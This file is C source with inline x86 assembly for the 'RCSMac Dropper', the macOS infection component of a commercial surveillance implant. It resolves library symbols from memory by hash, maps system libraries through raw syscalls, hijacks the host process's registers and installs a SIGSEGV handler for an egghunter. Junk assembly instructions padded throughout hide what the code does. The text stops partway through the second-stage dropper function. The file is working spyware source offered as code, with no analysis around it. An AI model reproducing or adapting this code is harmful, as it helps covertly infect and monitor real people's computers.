/*
* RCSMac Dropper - Dropper Component
*  - API resolution
*    - get dyld_image_count/dyld_get_image_name/dyld_get_image_header from
*      dyld in memory
*      - Look for LC_SYMTAB and get all the symbols from there
*    - cycle through all the loaded images in memory looking for libSystem
*    - once found, get all the other symbols (c standard library)
*      - Same method as dyld -> LC_SYMTAB
*  - Get all the resources info, drop the files and execute the RESOURCE_CORE
*  - Jump to the original entry point
*
* Created by Alfredo 'revenge' Pesoli on 24/07/2009
* Win32 porting by Massimo Chiodini on 02/11/2009
* Refactored & fixed by Guido Landi on 14/03/2012
* Copyright (C) HT srl 2009. All rights reserved
*
*/

#include <stdio.h>
#include <sys/stat.h>

#include "RCSMacCommon.h"
#include "RCSMacDropper.h"

#define DYLD32_IMAGE_BASE 0x8FE
#define DYLD64_IMAGE_BASE 0x7fff6 // 0000000

#define O_RDWR          0x0002
#define O_CREAT         0x0200
#define O_TRUNC         0x0400
#define	O_EXCL          0x0800
#define RTLD_DEFAULT    ((void *) - 2)

#define	PROT_READ       0x01    // [MC2] pages can be read
#define	PROT_WRITE      0x02    // [MC2] pages can be written
#define	MAP_SHARED      0x0001  // [MF|SHM] share changes


//#define LOADER_DEBUG

void dropperStart ()
{
	int a = 5;
}

void doExit ()
{
#ifdef WIN32
	__asm__ __volatile__ {
		xor		eax,eax
			push	eax
			inc		eax
			push	eax
			int		0x80
	}  
#else
	__asm__ __volatile__ (
		"xorl %eax, %eax\n"
		"push %eax\n"
		"inc %eax\n"
		"push %eax\n"
		"int $0x80\n"
		);
#endif
}

static unsigned int
sdbm (unsigned char *str)
{
	int c;
	unsigned long hash = 0;

	while ((c = *str++))
		hash = c + (hash << 6) + (hash << 16) - hash;

	return hash;
}

unsigned int
findSymbolInFatBinary (byte *imageBase, unsigned int symbolHash)
{
	
#ifdef LOADER_DEBUG
	printf("[ii] findSymbolInFatBinary!\n");
#endif

	if (imageBase == 0x0)
	{
#ifdef LOADER_DEBUG
		printf("[ee] Exiting (imageBase is 0)\n");
#endif
		doExit();
	}

	struct mach_header *mh_header       = NULL;
	struct load_command *l_command      = NULL; 
	struct nlist *sym_nlist             = NULL; 
	struct symtab_command *sym_command  = NULL;
	struct segment_command *seg_command = NULL;
	struct fat_header *f_header         = NULL;
	struct fat_arch *f_arch             = NULL;
	char *symbolName = NULL;
	int offset, symbolOffset, stringOffset, x86Offset, found;
	unsigned int i, nfat;

	__asm {
		push eax
			pop eax
			mov eax, eax
			add eax, 0
			mov ebx, ebx
			push ecx
			mov ecx, ecx
			pop ecx
	}

	offset = found = 0;
	f_header = (struct fat_header *)imageBase;

	__asm {
		push eax
			pop eax
			mov eax, eax
			add eax, 0
			mov ebx, ebx
			push ecx
			mov ecx, ecx
			pop ecx
	}

	offset += sizeof (struct fat_header);
	nfat = SWAP_LONG (f_header->nfat_arch);

#ifdef LOADER_DEBUG
	printf("[ii] magic: %x\n", f_header->magic);
	printf("[ii] nFatArch: %d\n", nfat);
#endif

	__asm {
		push eax
			pop eax
			mov eax, eax
			add eax, 0
			mov ebx, ebx
			push ecx
			mov ecx, ecx
			pop ecx
	}


	for (i = 0; i < nfat; i++)
	{
		__asm {
			push eax
				pop eax
				mov eax, eax
				add eax, 0
				mov ebx, ebx
				push ecx
				mov ecx, ecx
				pop ecx
		}
		f_arch = (struct fat_arch *)(imageBase + offset);
		int cpuType = SWAP_LONG (f_arch->cputype);
		__asm {
			push eax
				pop eax
				mov eax, eax
				add eax, 0
				mov ebx, ebx
				push ecx
				mov ecx, ecx
				pop ecx
		}
		if (cpuType == 0x7)
			break;
		__asm { 
			mov eax, eax 
				push ecx 
				pop ecx 
				mov ecx, ecx 
		}
		offset += sizeof (struct fat_arch);
	}

	x86Offset = SWAP_LONG (f_arch->offset);
#ifdef LOADER_DEBUG
	printf ("[ii] x86 offset: %x\n", x86Offset);
#endif
	__asm {
		push eax
			pop eax
			mov eax, eax
			add eax, 0
			mov ebx, ebx
			push ecx
			mov ecx, ecx
			pop ecx
	}
	offset = x86Offset;
	mh_header = (struct mach_header *)(imageBase + offset); 
	__asm {
		push eax
			pop eax
			mov eax, eax
			add eax, 0
			mov ebx, ebx
			push ecx
			mov ecx, ecx
			pop ecx
	}
	offset += sizeof (struct mach_header);

#ifdef LOADER_DEBUG
	printf("imageBase in findSymbolFat: %x\n", mh_header);
#endif

#ifdef LOADER_DEBUG
	printf("[ii] ncmdsFat: %d\n", mh_header->ncmds);
#endif

	for (i = 0; i < mh_header->ncmds; i++)
	{
		__asm {
			push eax
				pop eax
				mov eax, eax
				add eax, 0
				mov ebx, ebx
				push ecx
				mov ecx, ecx
				pop ecx
		}
		l_command = (struct load_command *)(imageBase + offset);

#ifdef LOADER_DEBUG
		printf("[ii] cmdFat: %d\n", l_command->cmd);
#endif

		if (l_command->cmd == LC_SEGMENT)
		{
			__asm {
				push eax
					pop eax
					mov eax, eax
					add eax, 0
					mov ebx, ebx
					push ecx
					mov ecx, ecx
					pop ecx
			}
			if (found)
			{
				__asm {
					push eax
						pop eax
						mov eax, eax
						add eax, 0
						mov ebx, ebx
						push ecx
						mov ecx, ecx
						pop ecx
				}
				offset += l_command->cmdsize;
				__asm {
					push eax
						pop eax
						mov eax, eax
						add eax, 0
						mov ebx, ebx
						push ecx
						mov ecx, ecx
						pop ecx
				}
				continue;
			}
			__asm {
				push eax
					pop eax
					mov eax, eax
					add eax, 0
					mov ebx, ebx
					push ecx
					mov ecx, ecx
					pop ecx
			}
			seg_command = (struct segment_command *)(imageBase + offset);

#ifdef LOADER_DEBUG
			printf("[ii] segNameFat: %s\n", seg_command->segname);
#endif

			if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash)
				found = 1;
			__asm { 
				mov eax, eax 
					push ecx 
					pop ecx 
					mov ecx, ecx 
			}
		}
		else if (l_command->cmd == LC_SYMTAB)
		{
			__asm {
				push eax
					pop eax
					mov eax, eax
					add eax, 0
					mov ebx, ebx
					push ecx
					mov ecx, ecx
					pop ecx
			}
			sym_command = (struct symtab_command *)(imageBase + offset);

			if (found)
				break;
			__asm {
				push eax
					pop eax
					mov eax, eax
					add eax, 0
					mov ebx, ebx
					push ecx
					mov ecx, ecx
					pop ecx
			}
		}
		__asm {
			push eax
				pop eax
				mov eax, eax
				add eax, 0
				mov ebx, ebx
				push ecx
				mov ecx, ecx
				pop ecx
		}
		offset += l_command->cmdsize;
	}

	__asm {
		push eax
			pop eax
			mov eax, eax
			add eax, 0
			mov ebx, ebx
			push ecx
			mov ecx, ecx
			pop ecx
	}
	symbolOffset = x86Offset + sym_command->symoff;
	stringOffset = x86Offset + sym_command->stroff;

#ifdef LOADER_DEBUG
	printf("[ii] offsetFat: %x\n", offset);
	printf("[ii] stringOffsetFat: %x\n", stringOffset);
	printf("[ii] nSymsFat: %d\n", sym_command->nsyms);
#endif

	for (i = 0; i < sym_command->nsyms; i++)
	{
		__asm {
			push eax
				pop eax
				mov eax, eax
				add eax, 0
				mov ebx, ebx
				push ecx
				mov ecx, ecx
				pop ecx
		}
		sym_nlist = (struct nlist *)(imageBase + symbolOffset);
		symbolOffset += sizeof (struct nlist);
		__asm {
			push eax
				pop eax
				mov eax, eax
				add eax, 0
				mov ebx, ebx
				push ecx
				mov ecx, ecx
				pop ecx
		}
		if (sym_nlist->n_un.n_strx == 0x0)
		{
			__asm {
				push eax
					pop eax
					mov eax, eax
					add eax, 0
					mov ebx, ebx
					push ecx
					mov ecx, ecx
					pop ecx
			}

			continue;
		}
		__asm { 
			mov eax, eax 
				push ecx 
				pop ecx 
				mov ecx, ecx 
		}
		symbolName  = (char *)(imageBase + sym_nlist->n_un.n_strx + stringOffset);

		__asm {
			push eax
				pop eax
				mov eax, eax
				add eax, 0
				mov ebx, ebx
				push ecx
				mov ecx, ecx
				pop ecx
		}

#ifdef LOADER_DEBUG_VERBOSE
		printf ("[ii] SYMBOLFat: %s\n", symbolName);
#endif

		if (sdbm((unsigned char *)symbolName) == symbolHash)
		{
#ifdef LOADER_DEBUG
			printf ("[ii] Symbol Found\n");
			printf ("[ii] SYMBOLFat: %s\n", symbolName);
			printf ("[ii] addressFat: %x\n", sym_nlist->n_value);
#endif
			__asm {
				push eax
					pop eax
					mov eax, eax
					add eax, 0
					mov ebx, ebx
					push ecx
					mov ecx, ecx
					pop ecx
			}
			return sym_nlist->n_value;
		}
	}

	return -1;
}

unsigned int
findSymbol_snow (byte *imageBase, unsigned int symbolHash)
{
	
	struct mach_header *mh_header       = NULL;
	struct load_command *l_command      = NULL; 
	struct nlist *sym_nlist             = NULL; 
	struct symtab_command *sym_command  = NULL;
	struct segment_command *seg_command = NULL;

	char *symbolName = NULL;

	int offset, found, stringOffset; 

	unsigned int hash, i;

	offset = found = 0; 
	mh_header = (struct mach_header *)imageBase; 
	offset += sizeof (struct mach_header);

	for (i = 0; i < mh_header->ncmds; i++)
	{
		l_command = (struct load_command *)(imageBase + offset); 

		if (l_command->cmd == LC_SEGMENT)
		{
			if (found)
			{
				offset += l_command->cmdsize;
				continue;
			}

			seg_command = (struct segment_command *)(imageBase + offset);

			if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash)
				found = 1;
		}
		else if (l_command->cmd == LC_SYMTAB)
		{
			sym_command = (struct symtab_command *)(imageBase + offset); 

			if (found)
				break;
		}

		offset += l_command->cmdsize;
	}

	offset = sym_command->symoff - seg_command->fileoff + seg_command->vmaddr;
	stringOffset = sym_command->stroff - seg_command->fileoff + seg_command->vmaddr; 

	for (i = 0; i < sym_command->nsyms; i++)
	{
		sym_nlist = (struct nlist *)offset;
		offset += sizeof (struct nlist);

		symbolName = (char *)(sym_nlist->n_un.n_strx + stringOffset);
		hash = sdbm ((unsigned char *)symbolName);

#ifdef LOADER_DEBUG_VERBOSE
		printf ("[ii] SYMBOL: %s\n", symbolName);
#endif
		if (hash == symbolHash)
		{
#ifdef LOADER_DEBUG
			printf ("[ii] Symbol Found\n");
			printf ("[ii] SYMBOL: %s\n", symbolName);
			printf ("[ii] address: %x\n", sym_nlist->n_value);
#endif
			return sym_nlist->n_value;
		}
	}
	return -1;
	
}
unsigned int
findSymbol_mavericks(byte *imageBase, unsigned int symbolHash)
{
	unsigned int i, offset, found, textVMAddr;
	struct mach_header *mh_header = NULL;
	struct load_command *l_command = NULL;
	struct segment_command *seg_command = NULL;
	struct symtab_command *sym_command = NULL;
	struct nlist *sym_nlist = NULL;

	mh_header = (struct mach_header *)imageBase;
	offset = sizeof(struct mach_header);

	for (i=0, found=0; i<mh_header->ncmds; i++)
	{
		l_command = (struct load_command *) (imageBase + offset);
		if (l_command->cmd == LC_SEGMENT)
		{
			if (!found)
			{
				seg_command = (struct segment_command *)(imageBase + offset);
				if (sdbm((unsigned char *)seg_command->segname) == linkeditHash)
					found = 1;

				if (sdbm((unsigned char *)seg_command->segname) == 0xd5be1a2d)
					textVMAddr = seg_command->vmaddr;

			}
		}
		else if (l_command->cmd == LC_SYMTAB)
		{
			if (found)
			{
				sym_command = (struct symtab_command *) (imageBase + offset);
				break;
			}
		}

		offset += l_command->cmdsize;
	}

	if (found == 0 || sym_command == NULL || seg_command == NULL)
		return -1;

	unsigned int linkeditVmaddr = (seg_command->vmaddr - textVMAddr) + (unsigned int)imageBase;
	unsigned int stringOffset = sym_command->stroff - seg_command->fileoff + linkeditVmaddr;
	offset = sym_command->symoff - seg_command->fileoff + linkeditVmaddr;

	for (i=0; i<sym_command->nsyms; i++)
	{
		sym_nlist = (struct nlist *)offset;
		offset += sizeof (struct nlist);

		unsigned char *symbolName = (unsigned char *)(sym_nlist->n_un.n_strx + stringOffset);
		if (sdbm(symbolName) == symbolHash)
		{
			unsigned int sym_offset = sym_nlist->n_value;
			return (sym_offset - (0x8FE<<20) + (unsigned int)imageBase);
		}
	}

	return -1;
}

unsigned int
findSymbol_lion(byte *imageBase, unsigned int symbolHash)
{
	struct mach_header *mh_header       = NULL;
	struct load_command *l_command      = NULL; 
	struct nlist *sym_nlist             = NULL; 
	struct symtab_command *sym_command  = NULL;
	struct segment_command *seg_command = NULL;

	char *symbolName = NULL;

	int offset, found, stringOffset;

	unsigned int hash, i;

	offset = found = 0; 
	mh_header = (struct mach_header *)imageBase;
	offset += sizeof (struct mach_header);

	for (i = 0; i < mh_header->ncmds; i++)
	{
		l_command = (struct load_command *)(imageBase + offset); 

		if (l_command->cmd == LC_SEGMENT)
		{
			if (found)
			{
				offset += l_command->cmdsize;
				continue;
			}

			seg_command = (struct segment_command *)(imageBase + offset);

			if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash)
			{
				found = 1;
			}
		}
		else if (l_command->cmd == LC_SYMTAB)
		{
			sym_command = (struct symtab_command *)(imageBase + offset); 

			if (found)
			{
				break;
			}
		}

		offset += l_command->cmdsize;
	}

	unsigned int linkeditVmaddr;
	unsigned int dyldBase;

	//
	// Fow now we hardcode the vmaddr for the linkedit segment in dyld
	// the right thing to do would be parsing the binary on disk
	// Parse __TEXT and get vmaddr
	// Parse __LINKEDIT and get vmaddr
	// __LINKEDIT->vmaddr - __TEXT->vmaddr = memory displacement
	// then randomized base + memory displacement = randomized __LINKEDIT position
	//
	//if (sizeof(long) == 8) // 64bit
	//{
	//linkeditVmaddr = (unsigned int)imageBase + 0x71000;
	//dyldBase = DYLD64_IMAGE_BASE << 40;
	//}
	if (sizeof(long) == 4) // 32bit
	{
		linkeditVmaddr = (unsigned int)imageBase + 0x5e000;
		dyldBase = DYLD32_IMAGE_BASE << 20;
	}

	offset = sym_command->symoff - seg_command->fileoff + linkeditVmaddr;
	stringOffset = sym_command->stroff - seg_command->fileoff + linkeditVmaddr;

	for (i = 0; i < sym_command->nsyms; i++)
	{
		sym_nlist = (struct nlist *)offset;
		offset += sizeof (struct nlist);

		symbolName = (char *)(sym_nlist->n_un.n_strx + stringOffset);
		hash = sdbm ((unsigned char *)symbolName);

#ifdef DEBUG
		printf ("[ii] SYMBOL: %s\n", symbolName);
#endif
		if (hash == symbolHash)
		{
#ifdef DEBUG
			printf ("[ii] Symbol Found\n");
			printf ("[ii] SYMBOL: %s\n", symbolName);
			printf ("[ii] address: %x\n", sym_nlist->n_value);
#endif

			unsigned int sym_offset = sym_nlist->n_value - dyldBase;
			sym_offset += (unsigned int)imageBase;

			return sym_offset;
		}
	}

	return -1;
}

void *mapLibSystem() 
{
	//
	// since struct stat on win32 is half the size of the unix counterpart
	// declare it twice for padding the damn ebp :>
	//
	struct stat pad;
	struct stat mSt;

	void *address;
	int fd;
	int err;

	//fd = open("/usr/lib/libSystem.B.dylib", O_RDONLY);
#ifdef WIN32
	__asm__ __volatile__ {
		sub esp, 0x80
			push 0x00006269
			push 0x6c79642e
			push 0x422e6d65
			push 0x74737953
			push 0x62696c2f
			push 0x62696c2f
			push 0x7273752f
			mov edx, esp
			push 0x0
			push edx
			xor eax, eax
			mov al, 0x5
			push eax
			int 0x80
			mov [fd], eax
	}
#else
	__asm__ __volatile__ (
		"subl	$52, %%esp\n"
		"pushl $0x00006269\n"
		"pushl $0x6c79642e\n"
		"pushl $0x422e6d65\n"
		"pushl $0x74737953\n"
		"pushl $0x62696c2f\n"
		"pushl $0x62696c2f\n"
		"pushl $0x7273752f\n"
		"movl	%%esp, %%edx\n"
		"pushl $0x0\n"
		"pushl %%edx\n"
		"xorl %%eax, %%eax\n"
		"movb $5, %%al\n"
		"pushl %%eax\n"
		"int $0x80\n"
		"movl %%eax, %0"
		:"=m"(fd) 
		:
	);
#endif

	if (fd == -1)
		return (NULL);

	//err = fstat(fd, &st);
#ifdef WIN32
	__asm__ __volatile__ {
		lea eax, [pad]
		mov DWORD PTR [esp+0x4], eax // struct stat
			mov eax, [fd]
		mov DWORD PTR [esp], eax     // fd
			xor eax, eax
			mov al, 189
			push eax
			int 0x80
			mov [err], eax
	}
#else
	__asm__ __volatile__ (
		"leal %2, %%eax\n"
		"movl %%eax, 4(%%esp)\n"
		"movl %1, %%eax\n"
		"movl %%eax, (%%esp)\n" 
		"xorl %%eax, %%eax\n"
		"movb $189, %%al\n"
		"pushl %%eax\n"
		"int $0x80\n"
		"movl %%eax, %0"
		:"=m"(err)
		:"m"(fd), "m"(st)
		);
#endif

	if (err != 0)
		return (NULL);

	//ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
#ifdef WIN32
	__asm__ __volatile__ {
		mov DWORD PTR [esp+24], 0
			mov DWORD PTR [esp+20], 0
			mov eax, [fd]
		mov DWORD PTR [esp+16], eax
			mov DWORD PTR [esp+12], 2       // MAP_PRIVATE
			mov DWORD PTR [esp+8], 1        // PROT_READ
			mov eax, [ebp-0x30]             // st.st_size (win ~46 bytes, osx ~96 bytes)
		mov DWORD PTR [esp+4], eax
			mov DWORD PTR [esp], 0
			xor eax, eax
			mov al, 197
			push eax
			int 0x80
			mov [address], eax
	}
#else
	__asm__ __volatile__ (
		"movl	$0, 24(%%esp)\n"
		"movl	$0, 20(%%esp)\n"
		"movl	%2, %%eax\n"
		"movl	%%eax, 16(%%esp)\n"
		"movl	$2, 12(%%esp)\n"
		"movl	$1, 8(%%esp)\n"
		"movl	%1, %%eax\n"
		"movl	%%eax, 4(%%esp)\n"
		"movl	$0, (%%esp)\n"
		"xorl	%%eax, %%eax\n"
		"movb	$197, %%al\n"
		"pushl	%%eax\n"
		"int	$0x80\n"
		"mov	%%eax, %0\n"
		:"=m"(address)
		:"m"(st.st_size), "m"(fd)
		);
#endif

	return address;
}

void *mapLibDyld() 
{
	//
	// since struct stat on win32 is half the size of the unix counterpart
	// declare it twice for padding the damn ebp :>
	//
	struct stat pad;
	struct stat mSt;

	void *address;
	int fd;
	int err;

	//fd = open("/usr/lib/system/libdyld.dylib", O_RDONLY);
#ifdef WIN32
	__asm__ __volatile__ {
		sub esp, 0x84
			push 0x00000062
			push 0x696c7964
			push 0x2e646c79
			push 0x6462696c
			push 0x2f6d6574
			push 0x7379732f
			push 0x62696c2f
			push 0x7273752f
			mov edx, esp
			push 0x0
			push edx
			xor eax, eax
			mov al, 0x5
			push eax
			int 0x80
			mov [fd], eax
	}
#else
	__asm__ __volatile__ (
		"subl	$52, %%esp\n"
		"pushl $0x00006269\n"
		"pushl $0x6c79642e\n"
		"pushl $0x422e6d65\n"
		"pushl $0x74737953\n"
		"pushl $0x62696c2f\n"
		"pushl $0x62696c2f\n"
		"pushl $0x7273752f\n"
		"movl	%%esp, %%edx\n"
		"pushl $0x0\n"
		"pushl %%edx\n"
		"xorl %%eax, %%eax\n"
		"movb $5, %%al\n"
		"pushl %%eax\n"
		"int $0x80\n"
		"movl %%eax, %0"
		:"=m"(fd) 
		:
	);
#endif

	if (fd == -1)
		return (NULL);

	//err = fstat(fd, &st);
#ifdef WIN32
	__asm__ __volatile__ {
		lea eax, [pad]
		mov DWORD PTR [esp+0x4], eax // struct stat
			mov eax, [fd]
		mov DWORD PTR [esp], eax     // fd
			xor eax, eax
			mov al, 189
			push eax
			int 0x80
			mov [err], eax
	}
#else
	__asm__ __volatile__ (
		"leal %2, %%eax\n"
		"movl %%eax, 4(%%esp)\n"
		"movl %1, %%eax\n"
		"movl %%eax, (%%esp)\n" 
		"xorl %%eax, %%eax\n"
		"movb $189, %%al\n"
		"pushl %%eax\n"
		"int $0x80\n"
		"movl %%eax, %0"
		:"=m"(err)
		:"m"(fd), "m"(st)
		);
#endif

	if (err != 0)
		return (NULL);

	//ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
#ifdef WIN32
	__asm__ __volatile__ {
		mov DWORD PTR [esp+24], 0
			mov DWORD PTR [esp+20], 0
			mov eax, [fd]
		mov DWORD PTR [esp+16], eax
			mov DWORD PTR [esp+12], 2       // MAP_PRIVATE
			mov DWORD PTR [esp+8], 1        // PROT_READ
			mov eax, [ebp-0x30]             // st.st_size (win ~46 bytes, osx ~96 bytes)
		mov DWORD PTR [esp+4], eax
			mov DWORD PTR [esp], 0
			xor eax, eax
			mov al, 197
			push eax
			int 0x80
			mov [address], eax
	}
#else
	__asm__ __volatile__ (
		"movl	$0, 24(%%esp)\n"
		"movl	$0, 20(%%esp)\n"
		"movl	%2, %%eax\n"
		"movl	%%eax, 16(%%esp)\n"
		"movl	$2, 12(%%esp)\n"
		"movl	$1, 8(%%esp)\n"
		"movl	%1, %%eax\n"
		"movl	%%eax, 4(%%esp)\n"
		"movl	$0, (%%esp)\n"
		"xorl	%%eax, %%eax\n"
		"movb	$197, %%al\n"
		"pushl	%%eax\n"
		"int	$0x80\n"
		"mov	%%eax, %0\n"
		:"=m"(address)
		:"m"(st.st_size), "m"(fd)
		);
#endif

	return address;
}

void *mapLibSystemC() 
{
	//
	// since struct stat on win32 is half the size of the unix counterpart
	// declare it twice for padding the damn ebp :>
	//
	struct stat pad;
	struct stat mSt;

	void *address;
	int fd;
	int err;

	//fd = open("/usr/lib/system/libsystem_c.dylib", O_RDONLY);
#ifdef WIN32
	__asm__ __volatile__ {
		sub esp, 0x88
			push 0x00000062
			push 0x696c7964
			push 0x2e635f6d
			push 0x65747379
			push 0x7362696c
			push 0x2f6d6574
			push 0x7379732f
			push 0x62696c2f
			push 0x7273752f
			mov edx, esp
			push 0x0
			push edx
			xor eax, eax
			mov al, 0x5
			push eax
			int 0x80
			mov [fd], eax
	}
#else
	__asm__ __volatile__ (
		"subl	$52, %%esp\n"
		"pushl $0x00006269\n"
		"pushl $0x6c79642e\n"
		"pushl $0x422e6d65\n"
		"pushl $0x74737953\n"
		"pushl $0x62696c2f\n"
		"pushl $0x62696c2f\n"
		"pushl $0x7273752f\n"
		"movl	%%esp, %%edx\n"
		"pushl $0x0\n"
		"pushl %%edx\n"
		"xorl %%eax, %%eax\n"
		"movb $5, %%al\n"
		"pushl %%eax\n"
		"int $0x80\n"
		"movl %%eax, %0"
		:"=m"(fd) 
		:
	);
#endif

	if (fd == -1)
		return (NULL);

	//err = fstat(fd, &st);
#ifdef WIN32
	__asm__ __volatile__ {
		lea eax, [pad]
		mov DWORD PTR [esp+0x4], eax // struct stat
			mov eax, [fd]
		mov DWORD PTR [esp], eax     // fd
			xor eax, eax
			mov al, 189
			push eax
			int 0x80
			mov [err], eax
	}
#else
	__asm__ __volatile__ (
		"leal %2, %%eax\n"
		"movl %%eax, 4(%%esp)\n"
		"movl %1, %%eax\n"
		"movl %%eax, (%%esp)\n" 
		"xorl %%eax, %%eax\n"
		"movb $189, %%al\n"
		"pushl %%eax\n"
		"int $0x80\n"
		"movl %%eax, %0"
		:"=m"(err)
		:"m"(fd), "m"(st)
		);
#endif

	if (err != 0)
		return (NULL);

	//ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
#ifdef WIN32
	__asm__ __volatile__ {
		mov DWORD PTR [esp+24], 0
			mov DWORD PTR [esp+20], 0
			mov eax, [fd]
		mov DWORD PTR [esp+16], eax
			mov DWORD PTR [esp+12], 2       // MAP_PRIVATE
			mov DWORD PTR [esp+8], 1        // PROT_READ
			mov eax, [ebp-0x30]             // st.st_size (win ~46 bytes, osx ~96 bytes)
		mov DWORD PTR [esp+4], eax
			mov DWORD PTR [esp], 0
			xor eax, eax
			mov al, 197
			push eax
			int 0x80
			mov [address], eax
	}
#else
	__asm__ __volatile__ (
		"movl	$0, 24(%%esp)\n"
		"movl	$0, 20(%%esp)\n"
		"movl	%2, %%eax\n"
		"movl	%%eax, 16(%%esp)\n"
		"movl	$2, 12(%%esp)\n"
		"movl	$1, 8(%%esp)\n"
		"movl	%1, %%eax\n"
		"movl	%%eax, 4(%%esp)\n"
		"movl	$0, (%%esp)\n"
		"xorl	%%eax, %%eax\n"
		"movb	$197, %%al\n"
		"pushl	%%eax\n"
		"int	$0x80\n"
		"mov	%%eax, %0\n"
		:"=m"(address)
		:"m"(st.st_size), "m"(fd)
		);
#endif

	return address;
}

void *mapLibSystemK() 
{
	//
	// since struct stat on win32 is half the size of the unix counterpart
	// declare it twice for padding the damn ebp :>
	//
	struct stat pad;
	struct stat mSt;

	void *address;
	int fd;
	int err;

	//fd = open("/usr/lib/system/libsystem_kernel.dylib", O_RDONLY);
#ifdef WIN32
	__asm__ __volatile__ {
		sub esp, 0x92
			push 0x00006269
			push 0x6c79642e
			push 0x6c656e72
			push 0x656b5f6d
			push 0x65747379
			push 0x7362696c
			push 0x2f6d6574
			push 0x7379732f
			push 0x62696c2f
			push 0x7273752f
			mov edx, esp
			push 0x0
			push edx
			xor eax, eax
			mov al, 0x5
			push eax
			int 0x80
			mov [fd], eax
	}
#else
	__asm__ __volatile__ (
		"subl	$52, %%esp\n"
		"pushl $0x00006269\n"
		"pushl $0x6c79642e\n"
		"pushl $0x422e6d65\n"
		"pushl $0x74737953\n"
		"pushl $0x62696c2f\n"
		"pushl $0x62696c2f\n"
		"pushl $0x7273752f\n"
		"movl	%%esp, %%edx\n"
		"pushl $0x0\n"
		"pushl %%edx\n"
		"xorl %%eax, %%eax\n"
		"movb $5, %%al\n"
		"pushl %%eax\n"
		"int $0x80\n"
		"movl %%eax, %0"
		:"=m"(fd) 
		:
	);
#endif

	if (fd == -1)
		return (NULL);

	//err = fstat(fd, &st);
#ifdef WIN32
	__asm__ __volatile__ {
		lea eax, [pad]
		mov DWORD PTR [esp+0x4], eax // struct stat
			mov eax, [fd]
		mov DWORD PTR [esp], eax     // fd
			xor eax, eax
			mov al, 189
			push eax
			int 0x80
			mov [err], eax
	}
#else
	__asm__ __volatile__ (
		"leal %2, %%eax\n"
		"movl %%eax, 4(%%esp)\n"
		"movl %1, %%eax\n"
		"movl %%eax, (%%esp)\n" 
		"xorl %%eax, %%eax\n"
		"movb $189, %%al\n"
		"pushl %%eax\n"
		"int $0x80\n"
		"movl %%eax, %0"
		:"=m"(err)
		:"m"(fd), "m"(st)
		);
#endif

	if (err != 0)
		return (NULL);

	//ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
#ifdef WIN32
	__asm__ __volatile__ {
		mov DWORD PTR [esp+24], 0
			mov DWORD PTR [esp+20], 0
			mov eax, [fd]
		mov DWORD PTR [esp+16], eax
			mov DWORD PTR [esp+12], 2       // MAP_PRIVATE
			mov DWORD PTR [esp+8], 1        // PROT_READ
			mov eax, [ebp-0x30]             // st.st_size (win ~46 bytes, osx ~96 bytes)
		mov DWORD PTR [esp+4], eax
			mov DWORD PTR [esp], 0
			xor eax, eax
			mov al, 197
			push eax
			int 0x80
			mov [address], eax
	}
#else
	__asm__ __volatile__ (
		"movl	$0, 24(%%esp)\n"
		"movl	$0, 20(%%esp)\n"
		"movl	%2, %%eax\n"
		"movl	%%eax, 16(%%esp)\n"
		"movl	$2, 12(%%esp)\n"
		"movl	$1, 8(%%esp)\n"
		"movl	%1, %%eax\n"
		"movl	%%eax, 4(%%esp)\n"
		"movl	$0, (%%esp)\n"
		"xorl	%%eax, %%eax\n"
		"movb	$197, %%al\n"
		"pushl	%%eax\n"
		"int	$0x80\n"
		"mov	%%eax, %0\n"
		:"=m"(address)
		:"m"(st.st_size), "m"(fd)
		);
#endif

	return address;

}

void labelTest ()
{
}


void secondStageDropper (unsigned long args)
{
	unsigned int fd;
	hijack_context *h_context = (hijack_context *)&args; // "context" saved by pushad

	// save registers to restore it later
	unsigned long _eax = h_context->eax;
	unsigned long _ecx = h_context->ecx;
	unsigned long _edx = h_context->edx;
	unsigned long _ebx = h_context->ebx;
	unsigned long _esp = h_context->esp;
	unsigned long _ebp = h_context->ebp;
	unsigned long _esi = h_context->esi;
	unsigned long _edi = h_context->edi;

	int crtStartSize = 54;
	const char *imageName   = NULL;
	void *baseAddress       = NULL;
	void *libSystemAddress  = NULL;
	void *dyldBaseAddress   = NULL;
	int imageCount, z       = 0;
	void *infectionBase     = NULL;

#ifdef WIN32
	sigaction new_act = {0};
	sigaction old_act = {0};
	u32_sigaction sig = {0};
	unsigned int sig_handler;	
	unsigned char file_buffer[1024];
	int osx_version, file_handle, read_len, i;

	sig_handler = osx_version = file_handle = read_len = i = 0;

	__asm__ __volatile__ {
		mov eax, [ebp+0x4]			// retaddr
		sub eax, 0xD3				// infection base is 0xd3 bytes before retaddr

		mov [infectionBase], eax	

		jmp get_pc
init:
		pop eax
		mov [sig_handler], eax

		jmp l_out
get_pc:
		call init

		// this is weird, depending on some stars allignment the context's
		// offset changes and so we just scan the stack for a register we 
		// know it's not changed by the kernel(ebp)
sig_handler:
		mov eax, esp
sig_loop:
		add eax, 0x4 // eax == eip subito dopo get_pc
		cmp [eax], ebp
		jne sig_loop

		add eax, 0x4
		mov esp, eax
		// now esp points to the faulting ESP value
		// in the middle of the thread context

		sub [esp], 4		// make room for retaddr
		mov eax, [esp]		

		mov ebx, [esp+0xc]	// ebx == faulting EIP
		add ebx, 8			// add to EIP to jump over CMP & JE of egghunter !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
		mov [eax], ebx		// save retaddr

			// restore registers & return back to the egghunter
		mov eax, [esp-0x1c]
		mov ebx, [esp-0x18]
		mov ecx, [esp-0x14]
		mov edx, [esp-0x10]
		mov esi, [esp-0xc]
		mov edi, [esp-0x8]
		mov ebp, [esp-0x4]
		mov esp, [esp]
		ret					

l_out:
	}

	// FIN QUI TUTTOK

	sig.sig_action = 0x41414141;
	sig.sig_tramp	= sig_handler;
	sig.sig_flags	= 0x70;	// SA_SIGINFO|SA_NODEFER|SA_NOCLDWAIT

	// install sig_handler
	__asm__ __volatile__ {
		lea eax, [sig]

		mov eax, eax 
			push ecx 
			pop ecx 
			mov ecx, ecx 

			push 0x0
			push eax		// &sig
			push 0xb		// SIGSEGV

			mov eax, eax 
			push ecx 
			pop ecx 
			mov ecx, ecx 

			mov eax, 0x2e	// SYS_sigaction
			push eax
			int 0x80
			add esp, 0x10
	}
